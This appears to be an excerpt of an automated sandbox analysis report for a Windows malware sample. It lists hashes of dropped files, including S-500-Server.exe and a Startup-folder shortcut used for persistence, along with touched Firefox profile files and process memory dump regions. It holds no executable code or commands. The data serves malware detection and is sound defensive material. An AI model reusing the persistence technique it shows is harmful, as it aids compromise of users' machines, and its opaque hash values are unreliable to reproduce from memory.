                                                    4208c9293c5684d2fc3c8f5a269a1120adee32fbd2766bbb73410aab2d491b7a

                                                    SHA512

                                                    543cce9b5e4c9558bf0bd0da9d6af8c1ad2f7d62e2d65a9aa4e3af9e4840ce6fb6bbe8952bd20f6f1e3a6d3b5e5e5b3417a60b6d955bfa4e23a653262677b49c

                                                  • C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\initialization.dll

                                                    Filesize

                                                    19KB

                                                    MD5

                                                    39326f6ec7a9c067d05565f7b8d18ef5

                                                    SHA1

                                                    3542ca68222f95027d0895091ffca04882e46a83

                                                    SHA256

                                                    c6ef349244df9c312229f85b337d94edebde4979a62809c01181de1e92ab1859

                                                    SHA512

                                                    3f2f6791282c069fae5d3fe383de1bb8685aa5c05148e07e73856d7225f2a774b68b11787e7c7becfe670bae39da59cb09c32858b034786cf1d2fe96148a0726

                                                  • C:\Users\Admin\AppData\Local\Temp\c6ef4c2b-9a55-40b4-957b-c3cb74191397\GunaDotNetRT64.dll

                                                    Filesize

                                                    142KB

                                                    MD5

                                                    9c43f77cb7cff27cb47ed67babe3eda5

                                                    SHA1

                                                    b0400cf68249369d21de86bd26bb84ccffd47c43

                                                    SHA256

                                                    f25b9288fe370dcfcb4823fb4e44ab88c7f5fce6e137d0dba389a3dba07d621e

                                                    SHA512

                                                    cde6fb6cf8db6f9746e69e6c10214e60b3646700d70b49668a2a792e309714dd2d4c5a5241977a833a95fcde8318abcc89eb9968a5039a0b75726bbfa27125a7

                                                  • C:\Users\Admin\AppData\Local\Temp\c6ef4c2b-9a55-40b4-957b-c3cb74191397\GunaDotNetRT64.dll

                                                    Filesize

                                                    142KB

                                                    MD5

                                                    9c43f77cb7cff27cb47ed67babe3eda5

                                                    SHA1

                                                    b0400cf68249369d21de86bd26bb84ccffd47c43

                                                    SHA256

                                                    f25b9288fe370dcfcb4823fb4e44ab88c7f5fce6e137d0dba389a3dba07d621e

                                                    SHA512

                                                    cde6fb6cf8db6f9746e69e6c10214e60b3646700d70b49668a2a792e309714dd2d4c5a5241977a833a95fcde8318abcc89eb9968a5039a0b75726bbfa27125a7

                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\S-500-Server.lnk

                                                    Filesize

                                                    798B

                                                    MD5

                                                    2095eabccb79e291172a004ab85b03ec

                                                    SHA1

                                                    e330902cde8520b484dc1f3d1990263b7c1b9a81

                                                    SHA256

                                                    d0ef9a8998213f4295e0e164759bbfb1cc64a507ece2c86f9d98d2250627c173

                                                    SHA512

                                                    2960161bd5b50313c138c1355e79e4e74f95521fd33de6f5c3396241909c8318280b76e8f9db745c8946ad15dae63e77cadd5c1e66a180b8dde65bf66ab136a2

                                                  • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\46be7tph.default-release\prefs-1.js

                                                    Filesize

                                                    6KB

                                                    MD5

                                                    69a643cc20d41476fabb542906b8876e

                                                    SHA1

                                                    ffaaa9a3c14b1063bfed158d4108bf74fbc8302e

                                                    SHA256

                                                    f344e91e6983826cb4fe4473b8d7352bb50f190e7631b73aac418ab5136b94d5

                                                    SHA512

                                                    ae7a6876799011af40a0ef3da1ca175559220ba223c577c7b62ed593d7ac10cbb9d495f71e16544e4b7aeafb2a98f51fec56940fa9b7ff27afbd3639018a3706

                                                  • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\46be7tph.default-release\prefs-1.js

                                                    Filesize

                                                    6KB

                                                    MD5

                                                    8f1042e17218e22b5b3b48ca8810402b

                                                    SHA1

                                                    9fdd1d2d13c798715018bae587735eeb4051c599

                                                    SHA256

                                                    46fadb7fb7fe11e90780c0f0491ac7004b48b35671319c5a210db1c243d2af84

                                                    SHA512

                                                    e1eb2c76f3173a9b981b2affd3c4bda1b36c7d8d04912caa5032f53e53f294a502e9842377ec27724e1d899676ae226dbf649cb064df26b9fe30e06145a0606f

                                                  • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\46be7tph.default-release\prefs.js

                                                    Filesize

                                                    6KB

                                                    MD5

                                                    ab6693679c471af856593cb2ca401355

                                                    SHA1

                                                    12f2e4bea0e92945a02ea3c4afd4b9e3e458ac17

                                                    SHA256

                                                    8424a6643a5ad42d7cea2bb8f87d08742ca62bcdc792d46df702b32fbde1cae6

                                                    SHA512

                                                    5c71c3a827a781a1bc4df5aac07216a694c015ab2cd98ad8f0ded6f0a065e045b98bc18397d8b3c6444e197e54792148222d79fe0f9be65626cbb93cf7361dd1

                                                  • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\46be7tph.default-release\sessionstore-backups\recovery.jsonlz4

                                                    Filesize

                                                    1KB

                                                    MD5

                                                    b0dd60e4644a72252b3066ab569f1f78

                                                    SHA1

                                                    f9ca62e106b877188a924d1a29d9ab19ca754057

                                                    SHA256

                                                    120983877d042bd9f36e2c27d8b38cbddfb798e8d909ebb11aa8637385094e27

                                                    SHA512

                                                    b2a10f4a65a3b679f35f0142f1cc617c894c3daf462a63d02606067bcac71799c63498d282d6ccc9106c09a4b13f8caa0b3279989a0e7fbf5dd7e1c415541ad7

                                                  • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\46be7tph.default-release\sessionstore-backups\recovery.jsonlz4

                                                    Filesize

                                                    1KB

                                                    MD5

                                                    ea43dcfbe84d0758cd119dc76ab3dacf

                                                    SHA1

                                                    dbaf3651e3a246d1b27e99060047129f1b71425f

                                                    SHA256

                                                    adf7715e237c919ca76370b92fecde507920395e635658da6bc4ebb95de6ddd9

                                                    SHA512

                                                    e305c2184d4e2eaa0da819ba8b26c4ae0c0012bf4281a1483e6fdc8793b707de65ca6ae22c4924f321338dce5ec6865be35524a02643f700abe15c58e9f14e13

                                                  • C:\Users\Admin\AppData\Roaming\S-500-Server.exe

                                                    Filesize

                                                    354KB

                                                    MD5

                                                    73f13f003e8a295ba7049b98fcd685f3

                                                    SHA1

                                                    43f55faa61be0eaa1c5e5c25f48715ed38204998

                                                    SHA256

                                                    6ba10108e5b52fde45c649de2f1b2e2093630d518d344b6c5135c3bff8baf57c

                                                    SHA512

                                                    99ff8b46a1aa433223c7d0b6ff893fd547e963d911810d579b11cf8495196feef2b7dba8c77fa23a867d5efbd5ded9f38e4844c3f6b2672f36e43929893843b1

                                                  • C:\Users\Admin\AppData\Roaming\S-500-Server.exe

                                                    Filesize

                                                    354KB

                                                    MD5

                                                    73f13f003e8a295ba7049b98fcd685f3

                                                    SHA1

                                                    43f55faa61be0eaa1c5e5c25f48715ed38204998

                                                    SHA256

                                                    6ba10108e5b52fde45c649de2f1b2e2093630d518d344b6c5135c3bff8baf57c

                                                    SHA512

                                                    99ff8b46a1aa433223c7d0b6ff893fd547e963d911810d579b11cf8495196feef2b7dba8c77fa23a867d5efbd5ded9f38e4844c3f6b2672f36e43929893843b1

                                                  • C:\Users\Admin\AppData\Roaming\S-500-Server.exe

                                                    Filesize

                                                    354KB

                                                    MD5

                                                    73f13f003e8a295ba7049b98fcd685f3

                                                    SHA1

                                                    43f55faa61be0eaa1c5e5c25f48715ed38204998

                                                    SHA256

                                                    6ba10108e5b52fde45c649de2f1b2e2093630d518d344b6c5135c3bff8baf57c

                                                    SHA512

                                                    99ff8b46a1aa433223c7d0b6ff893fd547e963d911810d579b11cf8495196feef2b7dba8c77fa23a867d5efbd5ded9f38e4844c3f6b2672f36e43929893843b1

                                                  • C:\Users\Admin\AppData\Roaming\S-500-Server.exe

                                                    Filesize

                                                    354KB

                                                    MD5

                                                    73f13f003e8a295ba7049b98fcd685f3

                                                    SHA1

                                                    43f55faa61be0eaa1c5e5c25f48715ed38204998

                                                    SHA256

                                                    6ba10108e5b52fde45c649de2f1b2e2093630d518d344b6c5135c3bff8baf57c

                                                    SHA512

                                                    99ff8b46a1aa433223c7d0b6ff893fd547e963d911810d579b11cf8495196feef2b7dba8c77fa23a867d5efbd5ded9f38e4844c3f6b2672f36e43929893843b1

                                                  • C:\Users\Admin\AppData\Roaming\S-500-Server.exe

                                                    Filesize

                                                    354KB

                                                    MD5

                                                    73f13f003e8a295ba7049b98fcd685f3

                                                    SHA1

                                                    43f55faa61be0eaa1c5e5c25f48715ed38204998

                                                    SHA256

                                                    6ba10108e5b52fde45c649de2f1b2e2093630d518d344b6c5135c3bff8baf57c

                                                    SHA512

                                                    99ff8b46a1aa433223c7d0b6ff893fd547e963d911810d579b11cf8495196feef2b7dba8c77fa23a867d5efbd5ded9f38e4844c3f6b2672f36e43929893843b1

                                                  • memory/1012-376-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/1012-427-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/1012-517-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/1012-518-0x000001FCE58B0000-0x000001FCE58BA000-memory.dmp

                                                    Filesize

                                                    40KB

                                                  • memory/1012-424-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/1012-423-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/1012-422-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/1012-414-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/1012-413-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/1012-393-0x00007FFE06870000-0x00007FFE06897000-memory.dmp

                                                    Filesize

                                                    156KB

                                                  • memory/1012-386-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/1012-379-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/1012-378-0x000001FCDB050000-0x000001FCDB08C000-memory.dmp

                                                    Filesize

                                                    240KB

                                                  • memory/1012-374-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/1012-375-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/1012-373-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/1012-372-0x00007FFE06870000-0x00007FFE06897000-memory.dmp

                                                    Filesize

                                                    156KB

                                                  • memory/1012-371-0x000001FCDAA10000-0x000001FCDAC50000-memory.dmp

                                                    Filesize

                                                    2.2MB

                                                  • memory/1012-369-0x00007FFDF2FF0000-0x00007FFDF313E000-memory.dmp

                                                    Filesize

                                                    1.3MB

                                                  • memory/1012-361-0x000001FCDA380000-0x000001FCDA572000-memory.dmp

                                                    Filesize

                                                    1.9MB

                                                  • memory/1012-360-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/1012-358-0x000001FCC1700000-0x000001FCC1712000-memory.dmp

                                                    Filesize

                                                    72KB

                                                  • memory/1012-357-0x000001FCC16D0000-0x000001FCC16DC000-memory.dmp

                                                    Filesize

                                                    48KB

                                                  • memory/1012-355-0x000001FCBE910000-0x000001FCBFA50000-memory.dmp

                                                    Filesize

                                                    17.2MB

                                                  • memory/1012-2824-0x000001FC839F0000-0x000001FC83AF0000-memory.dmp

                                                    Filesize

                                                    1024KB

                                                  • memory/1012-2823-0x000001FC839F0000-0x000001FC83AF0000-memory.dmp

                                                    Filesize

                                                    1024KB

                                                  • memory/1012-2822-0x000001FC839F0000-0x000001FC83AF0000-memory.dmp

                                                    Filesize

                                                    1024KB

                                                  • memory/1012-2725-0x000001FC839F0000-0x000001FC83AF0000-memory.dmp

                                                    Filesize

                                                    1024KB

                                                  • memory/2288-564-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-2820-0x00000000053B0000-0x000000000544C000-memory.dmp

                                                    Filesize

                                                    624KB

                                                  • memory/2288-566-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-568-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-570-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-572-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-574-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-576-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-578-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-580-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-582-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-584-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-586-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-588-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-590-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-592-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-691-0x0000000004CF0000-0x0000000004D00000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/2288-693-0x0000000004CF0000-0x0000000004D00000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/2288-692-0x0000000004CF0000-0x0000000004D00000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/2288-694-0x0000000004CF0000-0x0000000004D00000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/2288-560-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-550-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-558-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-556-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-554-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-526-0x0000000004CF0000-0x0000000004D00000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/2288-527-0x0000000004CF0000-0x0000000004D00000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/2288-528-0x0000000004CF0000-0x0000000004D00000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/2288-529-0x0000000004D00000-0x00000000052A4000-memory.dmp

                                                    Filesize

                                                    5.6MB

                                                  • memory/2288-530-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-531-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-533-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-552-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-537-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-535-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-539-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-541-0x0000000004CF0000-0x0000000004D00000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/2288-542-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-544-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-548-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-562-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2288-546-0x0000000004B90000-0x0000000004C02000-memory.dmp

                                                    Filesize

                                                    456KB

                                                  • memory/2348-2880-0x000000006FC00000-0x000000006FC4C000-memory.dmp

                                                    Filesize

                                                    304KB

                                                  • memory/2348-2868-0x0000000002410000-0x0000000002420000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/2348-2891-0x000000007EE70000-0x000000007EE80000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/2348-2890-0x0000000002410000-0x0000000002420000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/2348-2869-0x0000000002410000-0x0000000002420000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/3752-2856-0x0000000007410000-0x0000000007A8A000-memory.dmp

                                                    Filesize

                                                    6.5MB

                                                  • memory/3752-2844-0x000000006FC00000-0x000000006FC4C000-memory.dmp

                                                    Filesize

                                                    304KB

                                                  • memory/3752-2864-0x0000000002130000-0x0000000002140000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/3752-2863-0x0000000002130000-0x0000000002140000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/3752-2858-0x0000000006E30000-0x0000000006E3A000-memory.dmp

                                                    Filesize

                                                    40KB

                                                  • memory/3752-2857-0x0000000006DC0000-0x0000000006DDA000-memory.dmp

                                                    Filesize

                                                    104KB

                                                  • memory/3752-2862-0x00000000070F0000-0x00000000070F8000-memory.dmp

                                                    Filesize

                                                    32KB

                                                  • memory/3752-2861-0x0000000007110000-0x000000000712A000-memory.dmp

                                                    Filesize

                                                    104KB

                                                  • memory/3752-2860-0x0000000007000000-0x000000000700E000-memory.dmp

                                                    Filesize

                                                    56KB

                                                  • memory/3752-2855-0x000000007EFB0000-0x000000007EFC0000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/3752-2854-0x0000000006070000-0x000000000608E000-memory.dmp

                                                    Filesize

                                                    120KB

                                                  • memory/3752-2859-0x0000000007030000-0x00000000070C6000-memory.dmp

                                                    Filesize

                                                    600KB

                                                  • memory/3752-2843-0x0000000006090000-0x00000000060C2000-memory.dmp

                                                    Filesize

                                                    200KB

                                                  • memory/3752-2842-0x0000000002130000-0x0000000002140000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/3752-2841-0x0000000004850000-0x000000000486E000-memory.dmp

                                                    Filesize

                                                    120KB

                                                  • memory/3752-2831-0x00000000054D0000-0x0000000005536000-memory.dmp

                                                    Filesize

                                                    408KB

                                                  • memory/3752-2830-0x00000000053F0000-0x0000000005456000-memory.dmp

                                                    Filesize

                                                    408KB

                                                  • memory/3752-2829-0x0000000004B00000-0x0000000004B22000-memory.dmp

                                                    Filesize

                                                    136KB

                                                  • memory/3752-2828-0x0000000002130000-0x0000000002140000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/3752-2827-0x0000000002130000-0x0000000002140000-memory.dmp

                                                    Filesize

                                                    64KB

                                                  • memory/3752-2826-0x0000000004D50000-0x0000000005378000-memory.dmp

                                                    Filesize

                                                    6.2MB

                                                  • memory/3752-2825-0x0000000002190000-0x00000000021C6000-memory.dmp

                                                    Filesize

                                                    216KB